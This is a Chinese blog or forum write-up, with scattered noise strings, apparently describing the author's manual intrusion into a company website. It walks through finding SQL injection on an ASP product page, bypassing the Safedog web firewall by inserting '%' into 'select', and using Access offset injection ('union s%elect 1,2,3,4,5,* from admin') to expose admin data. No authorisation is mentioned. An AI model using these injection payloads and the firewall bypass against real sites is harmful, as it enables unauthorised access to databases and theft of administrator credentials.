一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
8 ?' w3 L7 w& I( i" ^; Y/ \3 j2 K, u​

( p  o. I3 J2 P+ C顺手加个admin
​

: {1 D9 Z- f8 ]. Y) x2 W- V' ]默认后台。
, ]& R0 I+ H- F4 y6 o回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​

$ A( ~% e" ?" m( W: ^. ^

! L& b0 r9 ?: ?9 D1 P# n所以就不用御剑扫了，待会直接封IP。

1 B+ m2 P! Q9 @& {( l: P: d6 k用order by语句判断是否存在注入。
7 {& Z( O  [9 y5 g0 g. V7 z4 G# thttp://www.xxx.com /product_show.asp?id=997 order by 1
http://www.xxx.com /product_show.asp?id=997 order by 100
  {' ?$ D2 _* T; ?6 Z" A! \现在存在注入，经测试后发现是9个字段。
8 \, q* c1 S( u# j
, ^4 m# p: _6 @  L. ~# n9 E接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​


* g4 n3 u: U4 a- G3 V; Q
# Z2 k6 @0 H( l5 {& A6 d% w6 N在select中间加个%,se%lect绕过安全狗。
: t/ H) ~1 a2 N6 Q' M% p. |​
% D9 S! h+ e' e( d9 t! Q
$ _- T7 Q1 J3 h发现存在admin表，然后开始手工猜常用的字段。
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。

突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
! Q% x9 g" @) Y
7 H- ^9 G  T6 S$ n3 h% i/ D; _科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
好了，敏感内容出显了。​

6 E- s) J; A" d! ]